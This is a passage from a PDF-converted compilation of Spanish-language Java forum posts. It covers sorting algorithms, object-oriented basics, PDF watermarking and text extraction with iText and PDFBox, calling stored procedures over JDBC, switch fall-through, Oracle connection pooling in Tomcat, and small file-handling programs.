while (size < n) { l1 = 0; k = 0; while ( (l1 + size) < n) { l2 = l1 + size; u1 = l2 - 1; u2 = (l2 + size - 1 < n) ? l2 + size - 1 : n - 1; for (i = l1, j = l2; (i <= u1) && (j <= u2); k++) if (x7[i] <= x7[j]) aux[k] = x7[i++]; 

elseaux[k] = x7[j++]; 

for (; i <= u1; k++) aux[k] = x7[i++]; 

for (; j <= u2; k++) aux[k] = x7[j++]; 

l1 = u2 + 1; } //while 

Page 53: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 53/169

for (i = l1; k < n; i++) aux[k++] = x7[i]; 

for (i = 0; i < n; i++) x7[i] = aux[i]; pausa(); //************************ 

size = size * 2; } //while } 

 public void  radixsort(){ for(int i=0; i<numAleat; i++) x8[i]=0; 

setK(0); int c=0; setL(0); 

int varin=10; setNum(0); 

int nume=0; setI1(0); 

for(int count=0; count<10; count++) for(int i=0; i<numAleat; i++) if ( y[i]%varin==count){ x8[c]=y[i]; c++; 

} for(int pasada=1; pasada<numAleat; pasada++) 

for(int j=0; j<numAleat -1 ;j++) if ( (x8[j]-x8[j]%varin)/10>(x8[j+1]-

x8[j+1]%varin)/10){ nume = x8[j]; x8[j] = x8[j+1]; x8[j+1] = nume; pausa(); //************************ 

} } 

//Constructor de la clase, recibe la cantidad de aleatorios

a generar   public void  generaAleat(){ 

Random  generador=new Random (); 

for(int i=0;i<numAleat;i++){ y[i]=generador.nextInt()%100; 

if(y[i]<0) 

Page 54: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 54/169

y[i]*=-1; } 

 public void  setL(int l) { this

.l = l; } 

 public int getL() { return l; 

 public void  setI1(int i1) { this.i1 = i1; 

 public int getI1() { return i1; 

 public void  setK(int k) { this.k = k; 

 public int getK() { return k; 

 public void  setNum(int num) { this.num = num; 

 public int getNum() { return num; 

Saludos.

Programacion Orientada a Objetos Las Clases y los Objetos son elementos importantes de la P.O.O. (Programación Orientadaa Objetos). Podemos definir Clase como una ―entidad abstracta‖ o abstracción de unconcepto que define a los objetos. Un objeto es una instancia de una Clase, en otraspalabras un Objeto es una "entidad concreta".

Page 55: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 55/169

Una clase describe un comportamiento y estructura, que serán adoptados por cada Objeto.Para esto en una clase se definen variables miembro (también llamados atributos) ymétodos para manipular dichas variables (estudiar concepto de encapsulación)

Cada objeto se distingue de los demás por su estado, es decir los valores de sus atributos.

1.-Clases 

Una clase es un tipo de dato abstracto equipado con una implementación posiblementeparcial.

Como un TDA (Tipo de Datos Abstracto), una clase es un tipo pues describe un conjuntode posibles estructuras de datos, llamados los atributos o variables de instancia de la clase.Los TDAs también tienen instancias; la diferencia es que una instancia de un TDA es unelemento puramente matemático (un miembro de algún conjunto matemático), mientras queuna instancia de una clase es una estructura de datos que puede ser representada en la

memoria de un computador y manipulado por un sistema de software.

Control de Acceso puede ser: private, public o protected .

Sintaxis para Definir una clase:

<control de acceso> class <nombre clase> {<atributos><constructores><métodos>}

Tipos de Clases:

abstract

Una clase abstract tiene al menos un método abstracto. Una clase abstracta no se instancia,sino que se utiliza como clase base para la herencia.

final

Una clase final se declara como la clase que termina una cadena de herencia. No se puedeheredar de una clase final. Por ejemplo, la clase Math es una clase final.

public

Las clases public son accesibles desde otras clases, bien sea directamente o por herencia.Son accesibles dentro del mismo paquete en el que se han declarado. Para acceder desdeotros paquetes, primero tienen que ser importadas.

synchronizable

Page 56: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 56/169

Este modificador especifica que todos los métodos definidos en la clase son sincronizados,es decir, que no se puede acceder al mismo tiempo a ellos desde distintos threads; elsistema se encarga de colocar los flags necesarios para evitarlo. Este mecanismo hace quedesde threads diferentes se puedan modificar las mismas variables sin que haya problemasde que se sobreescriban.

2.-Atributos El control de acceso define si un atributo será privado (private) o público (public). Unatributo privado en una clase implica que sólo los métodos de esa clase (de ninguna otra)pueden usar (consultar o modificar) dichos atributos. Esto se traduce en que sólo los objetosque se creen, de tal clase, podrán trabajar con tales atributos.

Un atributo público, por el contrario, puede ser usado (consultado o modificado) por losmétodos de cualquier clase, esto se traduce en que cualquier objeto (sin importar la claseque los define) podrá usar tales atributos.

Ejemplo:A continuación se definen los atributos de una clase llamada Tiempo:

public class Tiempo { // Atributosprivate int hr, min, seg;

}

3.-Constructores Un Constructor es una función, método, etc, de las clases, la cual es llamadaautomáticamente cuando se crea un objeto de esa clase.

Por ser métodos, los constructores también aceptan parámetros. Cuando en una clase no

especificamos ningún tipo de constructor, el compilador añade uno público por omisión sinparámetros, el cual NO hace nada.

Características de los Constructores:1. Un constructor, tiene el mismo nombre de la clase a la cual pertenece.2. No puede ser Heredado.3. No retorna ningún valor (Ni void), por lo cual no debe especificarse ningún tipo de dato.4. Debe declararse como public, sólo en casos realmente extraordinarios será de otro tipo

public <nombre clase>([<lista de parámetros>]) {[<sentencias>]

}

Un constructor siempre debe ser definido como público, de manera que sea posible, paracualquier objeto, crear objetos de cualquiera otra clase (definida como pública). Estollevado al plano de las definiciones de clases, cualquier método que lo requiera podrá crearun objeto de la clase que sea, según las necesidades que se tengan en virtud del problema aresolver.

Cualquier mejora dejarme su comentario. Gracias

Page 57: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 57/169

Aportación JavaMéxico - PCJ - Colocar

marca de agua a una imágen (PDF) 

Que tal, aqui le dejo un ejemplo de como podemos generar un archivo PDF a partir de unaimágen, además de colocarle un texto estilo "marca de agua", utilizando la libreria Itext(1.4.8). Esto lo utilice en un proyecto donde de acuerdo a los perfiles de cada usuario, porseguridad podian ver documentacion con o sin marca de agua.

Les dejo comentarios sobre el código.

Este es el método principal donde se genera el PDF.

 public void  generarMarcaAgua(){ //Indicamos la ruta de la imagen 

String rutaImagen = "c:\\imagen.tif"; //Se crea el documento Document document = new Document(); 

try { //Se crea un writer de la clase PdfWriter para

generar el PDF  PdfWriter writer =

PdfWriter.getInstance(document, new FileOutputStream ("c:\\imagen.pdf")); 

document.open(); 

document.setPageSize(PageSize.LETTER); 

//Se manda llamar el método que coloca la imágen

en el PDF  poneImagen(document, rutaImagen) //Se manda llamar el método que coloca el texto

"marca de agua", en el PDF  poneSelloAgua(writer); 

document.close(); 

} catch (Exception e) { e.printStackTrace(); 

} } 

Este método coloca la imágen en el PDF

Page 58: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 58/169

  private static void  poneImagen(Document document, String archivo) { 

RandomAccessFileOrArray ra = null;  boolean resultado = false; try { 

ra = new RandomAccessFileOrArray(archivo ,true); Image img = TiffImage.getTiffImage(ra, 1); if (img != null) { 

//Se valida la escala de la imágen

if (img.scaledWidth() > 600 ||img.scaledHeight() > 800) { 

//Se reduce la escala de la imágen

img.scaleToFit(615, 825); } //Se indica la posicion donde se colocara la

imágen en el PDF  img.setAbsolutePosition(0, 0); //Se inserta la imágen en el PDF  document.add(img); 

} ra.close(); 

} catch (Exception e) { 

System .out.println("Error al agregar imagen alPDF " + e.getMessage()); 

} } 

Finalmente, este método coloca el texto de marca de agua al PDF.

 private static void  poneSelloAgua(PdfWriter writer) { try { 

PdfContentByte cb = writer.getDirectContent(); //Se crea un templete para asignar la marca de

agua PdfTemplate template = cb.createTemplate(700,

300); 

template.beginText(); //Inicializamos los valores para el templete //Se define el tipo de letra, color y tamaño BaseFont bf =

BaseFont.createFont(BaseFont.HELVETICA, BaseFont.CP1252,BaseFont.NOT_EMBEDDED); 

template.setColorFill(new Color(220, 220,220)); 

Page 59: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 59/169

template.setFontAndSize(bf, 6); 

template.setTextMatrix(0, 0); //Se define el texto que se agregara como

marca de agua 

template.showText("TEXTO MARCA AGUA"); template.endText(); 

//Se asigna el templete //Se asignan los valores para el texto de

marca de agua // Se asigna el grado de inclinacion y la

 posicion donde aparecerá el texto // 

x y  cb.addTemplate(template, 1, 1, -1,1, 50, 500); 

} catch (Exception e) { 

e.printStackTrace(); } 

Saludos.

Que tal RuGI,

No se ti te entendi bien, pero a ver si esto resuelve tu duda:

Teniendo el archivo PDF, inserto la imagen a través de un PdfContentBytecon esto se respeta las secciones que la imágen tiene transparentes.

Document document = new Document(); //Se crea un reader para el PDF  PdfReader reader = new PdfReader("/origen.pdf"); //obtenemos el número de páginas del archivo int total = reader.getNumberOfPages(); 

PdfWriter pdfwriter =

PdfWriter.getInstance(document, new FileOutputStream ("/destino.pdf")); 

PdfImportedPage pdfimportedpage = null; Image image = Image.getInstance("/imagen.png"); document.open(); 

//Declaro el PdfContentByte obteniendo el Direct

Content del PDF. 

Page 60: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 60/169

PdfContentByte pdfcontentbyte =pdfwriter.getDirectContent(); 

for(int j = 1; j <= total; j++) { 

//Se agregan las paginas al documento PDF  

document.newPage(); pdfimportedpage =

pdfwriter.getImportedPage(reader, j); pdfcontentbyte.addTemplate(pdfimportedpage,

1.0F, 0.0F, 0.0F, 1.0F, 0.0F, -10F); //Se asigna la posición de la imágen image.setAbsolutePosition(100,100); //Se asigna la imágen al PDF  pdfcontentbyte.addImage(image); 

} document.close(); 

Aportación JavaMéxico - PCJ Ejecutar un

procedimiento almacenado (PL/SQL)

desde Java 

Hola, para todos aquellos que tienen procedimientos almacenados en sus bases de datos ynecesiten ejecutarlo desde una aplicacion Java aqui le muestro un ejemplo:

Primeramente debemos crearnos un metodo que concatene el paquete del procedimiento, elnombre del procedimiento y sus respectivos parametros, este metodo puede ir en su clasede Utilerias:

 public class Utils{ 

 public static String llamarProcedimiento(String nombrePaquete, String nombreProcedimiento, int numeroParametros) { 

StringBuffer sb = new StringBuffer("{call " +

nombrePaquete + "." + nombreProcedimiento + "("); for (int n = 1; n <= numeroParametros; n++) { 

sb.append("?"); if (n < numeroParametros) { 

sb.append(","); } 

} return sb.append(")}").toString(); 

Page 61: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 61/169

  } } 

Despues en su clase de constantes puede declarar un atributo que mande a llamar al metodoanteriormente creado:

 public class Constantes{ 

 public static String PROCEDIMIENTO =Utils.llamarProcedimiento("nombre_del_paquete","nombre_procedimiento_almacenado", 3); } 

Y finalmente en su clase DAO mandar a llamar al atributo PROCEDIMIENTO de la claseConstantes:

 public void  ejecutarProcedimiento(int parametro1, int parametro2, String parametro3) throws Exception { 

Connection con = null; CallableStatement cs = null; try { 

con = ... //Obtenemos la conexion a la Bade de

Datos 

cs = con.prepareCall(Constantes.PROCEDIMIENTO); // Mandamos a llamar al atributo PROCEDIMIENTO de nuestra

clase de Constantes 

// Cargamos los parametros de entrada cs.setInt(1, parametro1); cs.setInt(2, parametro2); cs.setString(3, parametro3); 

// Ejecutamos cs.execute(); 

} catch (Exception e) { throw new Exception(e); //Propagamos la Excepcion 

} finally { if(cs != null) //Finalizamos cerrando el

CallableStatement

cs.close(); 

if(con != null) //Finalizamos cerrando laconexion 

con.close(); 

Page 62: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 62/169

  } } 

Este codigo lo probe con un procedimiento almacenado en Oracle, pero deberia sertrasparente para cualquier gestor de base de datos que se este usando.

Nota: en el DAO es necesario importar la libreria: java.sql.CallableStatement;

Hola rvillanuevap, con respectos a tu primer pregunta, mi respuesta es SI, es lo mismomandar a llamar un procedimiento almacenado o una funcion, y en cuanto a tu segundapregunta, puedes obtener el resultado en un ResultSet y mostrarlo de una manera muyparecida como lo harias con una consulta, ejemplo:

 public void  ejecutarProcedimiento(...) throws Exception { Connection con = null; CallableStatement cs = null; try

 { con = ... //Obtenemos la conexion a la Bade de

Datos 

cs = con.prepareCall(...); 

// Registramos el parámetro como de salida, // indicando que devuelve un número entero cs.registerOutParameter( 1, Types.INTEGER); 

// Ejecutamos el procedimiento almacenado ResultSet resultado = cs.executeQuery(); 

// Leemos el parámetro de salida del

 procedimiento, // almacenándolo en un entero int i = cs.getInt(1); if (cs.wasNull()) { 

System .out.println("Resultado nulo"); } else { 

System .out.print("Valor devuelto: " +i); } 

} catch (Exception e) { throw new Exception(e); //Propagamos la Excepcion 

} finally { if (cs != null) //Finalizamos cerrando el

CallableStatement { 

Page 63: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 63/169

cs.close(); } 

if (con != null) //Finalizamos cerrando laconexion 

{  con.close(); } 

} } 

Aportación Java México - PCJ -Leer un

PDF desde una url con PDFBox 

Hace poco tiempo me tope con la necesidad de leer documentos pdf desde un servidor paraobtener el texto y sus propiedades, por lo que tuve que investigar que apis permiten lamanipulación de un pdf, me tope con un buen blog el cual te explica como hacerlo conPDFBox a mi parecer esta muy entendible y me sirvió para mi propósito, lo único que hicefue modificarlo un poco acorde a mis necesidades, el link del blog que mencioneanteriormente es : http://noelia-java.blogspot.com/2009/07/leer-pdf-desde-java.html 

Las clases que genere son las siguientes:

Para el modelo donde se almacenara la información del pdf:

/** * * @author sakura*/  

 public class EntidadPDF {  private String titulo; 

 private String autor;  private int numeroDePaginas;  private String tema;  private String palabrasClave;  private String creador;  private String productor;  private String contenido;//el contenido

completo del documento 

 public String getAutor() { return autor; 

Page 64: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 64/169

   public void  setAutor(String autor) { this.autor = autor; 

 public String getContenido() { return

contenido; } 

 public void  setContenido(String contenido) { this.contenido = contenido; 

 public String getCreador() { return creador; 

 public void  setCreador(String creador) { this.creador = creador; 

 public int getNumeroDePaginas() { return numeroDePaginas; 

 public void  setNumeroDePaginas(int numeroDePaginas) { this.numeroDePaginas = numeroDePaginas; 

 public String getPalabrasClave() { return palabrasClave; 

 public void  setPalabrasClave(String palabrasClave) { this.palabrasClave = palabrasClave; 

 public String getProductor() { return productor; 

 public void  setProductor(String productor) { this.productor = productor; 

 public String getTema() { return tema; 

Page 65: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 65/169

   public void  setTema(String tema) { this.tema = tema; 

 public String getTitulo() { return

titulo; } 

 public void  setTitulo(String titulo) { this.titulo = titulo; 

El método que leera el pdf dada una url esta contenido en la siguiente clase

import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.InputStream; import java.net.URL; import org.pdfbox.pdfparser.PDFParser; import org.pdfbox.pdmodel.PDDocument; import org.pdfbox.pdmodel.PDDocumentInformation; import org.pdfbox.util.PDFTextStripper; 

/** * 

* @author sakura*/  

 public class ContenedorPDF { 

 private FileInputStream  file = null;  private PDDocument document = null; 

/** * Abre el archivo especificado en la ruta para generar 

un objeto de tipo EntidadPDF * @param archivo 

* @return*/  

 public EntidadPDF convertirAModelo(String archivo)  { EntidadPDF entPdf = new EntidadPDF(); try { 

Page 66: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 66/169

  //leemos el pdf dada una url URL url = new URL(archivo); InputStream  is = url.openStream(); 

PDFParser parser = new PDFParser(is); 

parser.parse(); document = parser.getPDDocument(); 

//Obtenemos todo el contenido del pdf  PDFTextStripper stripper = new PDFTextStripper(); entPdf.setContenido(stripper.getText(document)); 

//obtenemos la informacion de las propiedades del

 pdf  PDDocumentInformation info =

document.getDocumentInformation(); 

entPdf.setTitulo(info.getTitle()); entPdf.setAutor(info.getAuthor()); entPdf.setNumeroDePaginas(document.getNumberOfPag

es()); entPdf.setTema(info.getSubject()); entPdf.setPalabrasClave(info.getKeywords()); entPdf.setCreador(info.getCreator()); entPdf.setProductor(info.getProducer()); 

} catch (FileNotFoundException e) { 

e.printStackTrace(); } catch (IOException e) {//no se pudo abrir el

archivo e.printStackTrace(); 

} finally { if (file != null) { 

try { file.close(); 

} catch (IOException e) {//no se pudo cerrar el archivo 

e.printStackTrace(); 

} } if (document != null) { 

try { document.close(); 

} catch (IOException e) {//no se pudo cerrar el documento 

e.printStackTrace(); 

Page 67: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 67/169

  } } 

return entPdf; 

} } 

Bien espero y le sea de ayuda, una vez que tenemos el texto del pdf como String podemosocupar esta información para diferentes propósitos, les dejo otro link de otras apis quepermiten la manipulación de un pdf http://www.qoppa.com/  

error al implementar 

Submitted by ripr on Sáb, 07/02/2011 - 11:50.

sakura, he copiado tu codigo creo un clase de prueba pero, me genera un error. Espero mepuedas guiar que en donde lo estoy haciendo mal, ya que tambien necesito sacar el texto deun pdf. agrego el codigo que hice y el error que me lanza.

 public class test {  public static void  main(String[] args) { 

ContenedorPDF pdf=new ContenedorPDF(); EntidadPDF archivo; archivo=pdf.convertirAModelo("http://www.uv.es/ivorra

/Latex/LaTeX.pdf"); System .out.println(archivo.getAutor()); } 

error

run:Exception in thread "main" java.lang. NoClassDefFoundError:org/fontbox/cmap/CMapParser

atorg.pdfbox.pdmodel.font.PDFont.parseCmap(PDFont.java:534) 

atorg.pdfbox.pdmodel.font.PDFont.encode(PDFont.java:387) 

atorg.pdfbox.util.PDFStreamEngine.showString(PDFStreamEngine.java:325) 

atorg.pdfbox.util.operator.ShowText.process(ShowText.java:64) 

at

Page 68: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 68/169

org.pdfbox.util.PDFStreamEngine.processOperator(PDFStreamEngine.java:452) 

atorg.pdfbox.util.PDFStreamEngine.processSubStream(PDFStreamEngine.java:215) 

atorg.pdfbox.util.PDFStreamEngine.processStream(PDFStreamEngine.java:174) 

atorg.pdfbox.util.PDFTextStripper.processPage(PDFTextStripper.java:336) 

atorg.pdfbox.util.PDFTextStripper.processPages(PDFTextStripper.java:259) 

atorg.pdfbox.util.PDFTextStripper.writeText(PDFTextStripper.java:216) 

atorg.pdfbox.util.PDFTextStripper.getText(PDFTextStripper.java:149) 

atnuevo.ContenedorPDF.convertirAModelo(ContenedorPDF.java:30) 

at nuevo.test.main(test.java:6) Caused by: java.lang.ClassNotFoundException:org.fontbox.cmap.CMapParser 

atjava.net.URLClassLoader$1.run(URLClassLoader.java:202) 

at java.security. AccessController.doPrivileged(Native

 Method ) at

java.net.URLClassLoader.findClass(URLClassLoader.java:190) at

java.lang.ClassLoader.loadClass(ClassLoader.java:306) at

sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:301) at

java.lang.ClassLoader.loadClass(ClassLoader.java:247) ... 13 more

Java Result: 1 

GENERACIÓN CORRECTA (total time: 4 seconds) 

saludos y ojala y me puedas ayudar

Practica, Un Menú de operaciones a travéz

de métodos. 

Page 69: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 69/169

Hola gente,

me llamo José Manuel y soy un estudiante de ISC, llevo días en la pagina y por fin medecidí a aportar algo para la comunidad.Si bien es verdad que el código es sencillo y básico es solo una practica a fin de cuentas.

Bueno la cosa se trata de lo siguiente por si aun no me eh explicado correctamente, elprograma es totalmente en texto y trata de un menú que contiene3 diferentes opciones la primera se trata de un método que nos realiza cualquier tabla demultiplicar, la segunda opción nos realiza una sumatoria del numero que le indiquemos, yla tercer opción es para salir del programa.

Veamos a hora el código:

//Programa que realiza operaciones con el uso del switch,

for, while y do-while //con el uso de métodos 

import java.io.*;  public class menuopemet { 

 public void  multi(BufferedReader leer_dato)throws IOException 

{ int numero, contador=1; BufferedReader leer=new BufferedReader(new 

InputStreamReader(System .in)); System .out.print("Numero de la tabla que quiere

multiplicar: "); 

numero=Integer.parseInt(leer.readLine()); 

do{ System .out.println(numero+"X"+contador+"="+(numero*contad

or)); contador++; } 

while(contador<=10); }  public void  sumato(BufferedReader leer_dato)throws 

IOException 

{ int dato,i,sumatoria; BufferedReader leer=new BufferedReader(new 

InputStreamReader(System .in)); System .out.print("El numero del que quiere hacer la

sumatoria: "); dato=Integer.parseInt(leer.readLine()); for(i=1, sumatoria=0; i<=dato; sumatoria=sumatoria+i,

Page 70: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 70/169

i++) { 

} System .out.print("La sumatoria del "+dato+" es

"+sumatoria+"\n"); } 

 public static void  main(String args[])throws IOException { int opcion; menuopemet obj=new menuopemet()  ; BufferedReader leer=new BufferedReader(new 

InputStreamReader(System .in)); do{ System .out.println("***Menu***"); System .out.println("1.-Multiplicacion"); System .out.println("2.-Sumatoria"); System .out.println("3.-Salir"); System .out.print("--Escoja una opcion:"); opcion=Integer.parseInt(leer.readLine()); 

switch(opcion) { case 1:obj.multi(leer);break; case 2:obj.sumato(leer);break; case 3:System .out.println("Bay...");break; default:System .out.println("Escoja una opcion valida"); } 

} while(opcion!=3); } 

Con este pequeño código ustedes pueden ir cambiando cosas y mejorándolo son libres dehacerlo, la cosa es que aprendamos más.

Si para algunos hay cosas que no comprenden en el código, tomense la libertad de

comentarlo y trataremos de solucionarlo, por otra parte si el código no es muy básico paraustedes y quisieran aprender me animaría a postear practicas explicando parte porparte(admito que esto es lo que quisiera).No les mentiré y les diré que soy un "pro" en programación soy solo un principiante perocon muchos deseos de aprender y de compartir el conocimiento.

Pues bien ese seria el código de nuestro programa, se que la mayoría deustedes son profesionales en programación

Page 71: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 71/169

o a la mejor no, pero son muy buenos programadores y que simplementepudieran llegar a ver esto como una perdida de tiempo.Por eso es que estas lineas de código van dirigidos a quienes vancomenzando(aunque también es para todos claro).Pero la verdad es que me gustaría ver un México lleno de programadoresjeje y no solo nosotros sino que toda latinoamericana yel mundo se llenara de programadores que tuvieran ese conocimiento,se que soy algo soñador pero si esto ayuda en algo lo haré tanto comopueda o haga falta.

Espero y haya sido de su agrado.

Observación en el comportamiento de la

sentencia SWITCH. 

Hola a todos aquí al estar repasando mis notas me encontré con una curiosidad (Al menospara mi lo es) respecto al funcionamiento de la sentencia SWITCH que quisiera compartircon ustedes, la verdad, no sé si ya lo habrán notado, pero al menos estoy seguro quemuchos no tienen ni idea de lo confuso que pudiera ser el funcionamiento de una sentenciaSWITCH (Y refiriéndome más hacia las personas que aún dan sus primeros pasos enJ2SE).

Si tenemos el siguiente código:

int x = 2; switch (x) { case 2: System .out.println("2"); default: System .out.println("default"); case 3: System .out.println("3"); case 4: System .out.println("4"); 

El resultado es el siguiente:2default34

Si tenemos ahora el siguiente código:

int x = 7; switch (x) { case 2: System .out.println("2"); default: System .out.println("default"); case 3: System .out.println("3"); 

Page 72: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 72/169

case 4: System .out.println("4"); } 

El resultado es el siguiente:default

34

Lo ejemplos anteriores me hicieron entender lo siguiente: "En cuanto se encuentra undefault, inmediatamente se ejecuta y se ejecutarán también los cases restantes encascada(Por no tener sus respectivos breaks claro)". Pues bien, no sé si ustedes hayanpensado lo mismo, pero luego al estar haciendo pruebas me encontré con los siguientesresultados:

Si tenemos este código:

int x = 2; switch (x) { case 3: System .out.println("3"); default: System .out.println("default"); case 2: System .out.println("2"); case 4: System .out.println("4"); 

El resultado es el siguiente:24

Y finalmente, si tenemos el siguiente código:

int x = 5; switch (x) { case 3: System .out.println("3"); default: System .out.println("default"); case 2: System .out.println("2"); case 4: System .out.println("4"); 

El resultado que obtendremos será:default24

Lo que me hizo notar que lo que pensé anteriormente estaba mal, y en realidad la forma enque trabaja el bloque switch, es como si al momento de entrar el ya supiera de antemano siel valor que se busca lo tiene o no lo tiene, si lo tiene, se espera a encontrarlo para

Page 73: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 73/169

ejecutarlo y si no lo tiene, sabrá que al momento de llegar al default, inmediatamenteentrará para ejecutarlo.

Bueno, únicamente quería compartir esta observación con ustedes, por que yo no sé si seamuy obvio, o si muchos de ustedes ya sabían, pero como la mayoría de las veces, ponemos

los cases en orden ascendente y el default de último, apuesto que muchos no habrán notadoeste funcionamiento. ¡¡Es algo confuso!!. Me encantaría que dejaran sus comentarios alrespecto. Y espero esto les ayude a varios.

Universal Connection Pool para Driver

JDBC de Oracle 

Al construir aplicaciones web en java, es muy importante manejar las conexiones a base dedatos mediante connection pooling para hacer un uso adecuado de los recursos de la base

de datos.

Tomcat cuenta con su propia implementacion de connection pooling que se puede aplicar acualquier driver JDBC llamado DBCP, pero, desgraciadamente esta implentacion depooling a menudo falla al cerrar las conexiones por lo que acaba desperdiciando recursosdel servidor.

El Driver JDBC de Oracle cuenta con 2 modos de pooling que si bien son mas confiables ala hora de recuperar recursos tampoco estan libres de problemas:

1.  Pooling Explicito (oracle.jdbc.pool.OracleConnectionCacheImpl)Obsoleto.

Desventajas: inestabilidad por que no cuenta con capacidad intrinseca para validarconexiones2.  Pooling Implicito (oracle.jdbc.pool.OracleDataSource) :Obsoleto, Ventajas:

Compatible con supervisión mediante LambdaProbe. Desventajas: Sigue sufriendode inestabilidad, por sigue sin contar con capacidad intrinseca para validarconexiones

Recientemente aparecio un tercer modo:

UCP: Universal Connection Pool (oracle.ucp.jdbc.PoolDataSourceImpl) El modorecomendado por Oracle, supuestamente estable, puede validar conexiones, cuenta con una

arquitectura unificada y portable que puede utilizarse no solo para pooling con Oracle si notambien con otras bases de datos.

Este modo de pooling cuenta con una documentacion mas o menos decente, pero con laimportante carencia de no contar con ejemplos concretos de como configurarla, porejemplo, para Tomcat, asi que me di a la tarea de encontrar el modo:

Ejemplo de la configuracion requerida para tomcat:

Page 74: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 74/169

<Resource name="jdbc/nombreRecursoJNDI"

auth="Container"

scope="Shareable"

factory="oracle.ucp.jdbc.PoolDataSourceImpl"

type="oracle.ucp.jdbc.PoolDataSource"

connectionFactoryClassName="oracle.jdbc.pool.OracleDataSource"

url="jdbc:oracle:thin:@direccionip:puerto:sid"

user="*****"

password="****"

minPoolSize="10" maxPoolSize="20"

validateConnectionOnBorrow="true"/>

Lo interesante de esta nueva configuracion es la opcion ―validateConnectionOnBorrow‖que, de acuerdo con la documentacion de UCP deberia encargarse de evitar los errorestipicos de los 2 modos originales de pooling: ―Conexion Cerrada‖ para una conexion que

acabamos de obtener del pool, o ―El cache de conexiones ha caducado‖ igualmente para

cuando reclamamos una conexion del pool que no se habia utilizado desde hace un buenrato.

Aun no he tenido oportunidad de probar UCP en condiciones de produccion, por lo que noestoy seguro de que efectivamente sea una mejoria, pero pienso hacerlo durante lasproximas semanas (siempre que la severa limitacion del ClasspathHell de Tomcat mepermita hacerlo). Una ves efectuadas las pruebas, las publicare aqui mismo.

Código) Utilizando java.io.File 

Que tal a todos, bueno pues esta es mi primera aportación respecto a código fuente.Realmente es algo bastante sencillo, y me sirvió para ordenar mis archivos de música, nohace grandes cosas, pero al menos a mi me ha servido para resolver mi problema enparticular, y digamos, que para no desperdiciar este pequeño código (así como algunos nodeseamos desperdiciar la comida, por decir algún ejemplo análogo) ya que pensaba eneliminarlo, pensé que tal vez a alguien le podría servir de referencia.

Primeramente, entraré en detalle de cuál la problemática que intentaba resolver con estepequeño código: Normalmente ordeno mis albums de música en una carpeta con el nombre

del artista y dentro de esa misma carpeta, encarpetaba individualmente cada uno de los

albums del mismo artista. Y así tengo cientos de artistas y con sus respectivos albums.

 Hasta que un día pensé que era difícil navegar por los archivos de mp3, ya que tenía que

Page 75: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 75/169

estar entrando y saliendo a través de múltiples carpetas y decidí mejor poner en raíz todos

los albums de todos los artistas con el siguiente formato para que así los archivos no estén

navegando como una "sopa de albums": artista - [] album (Y entre los corchetes

opcionalmente poner el año en que se creo el album, claro, eso tendría que ser 

manualmente e independiente de este pequeño programa, por que esa información, no la

tengo para todos mis archivos). 

Ahora bien aquí les copio y pego el código:

/*

* To change this template, choose Tools | Templates

* and open the template in the editor.

*/  

 package albums; import java.io.File; 

/** * * @author cfpmx */  

 public class Main { 

/** * @param args the command line arguments*/  

 public static void  main(String[] args) throws java.io.IOException { 

// TODO code application logic here File raiz = new File( "artistas" ); 

String[] raizdir = raiz.list(); 

for( String nomArtista : raizdir ) { File avance = new File( "./artistas/" +

nomArtista ); 

for( File nomAlbum : avance.listFiles() ){ String renom = nomArtista + " - [] " +

nomAlbum.getName(); System .out.println( renom ); File renombrar = new File( renom ); nomAlbum.renameTo( renombrar ); System .out.println( nomAlbum.getName() ); 

Page 76: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 76/169

 } 

Este programa lo he creado con netbeans, cree un directorio "artistas" en el proyecto y pordefault ahí pegué las carpetas de los artistas que contenían los albums. Creo que esto estodo, si tienen dudas o problemas al ejecutarlo, no duden en preguntarme y finalmente, noacepto críticas pero si comentarios, ya que este código como les mencioné anteriormentefue EXPRESS y definitivamente le podemos componer, quitar o añadir las cosas que se nosvenga en mente y mi única intensión fue en que probablemente a alguien le pudiera servirtal vez para fines didácticos.

Hasta pronto, y muchos saludos.

Atentamente, cfpmx.

PD: Les dejo el proyecto: http://cid-23c5625615d3fbdb.skydrive.live.com/self.aspx/.Public/javamexi... 

Leer un archivo de texto 

/***********************************************

//Jesus Sanchez Cruz

//e-mail: [email protected]

//INSTITUTO TECNOLOGICO DE OAXACA 

//Licenciatura en Informatica

**********************************************/  import java.io.*;  public class LeeFichero { 

 public static void  main(String [] arg) { File archivo = null; FileReader fr = null; BufferedReader br = null; try { 

// Apertura del fichero y creacion de BufferedReader 

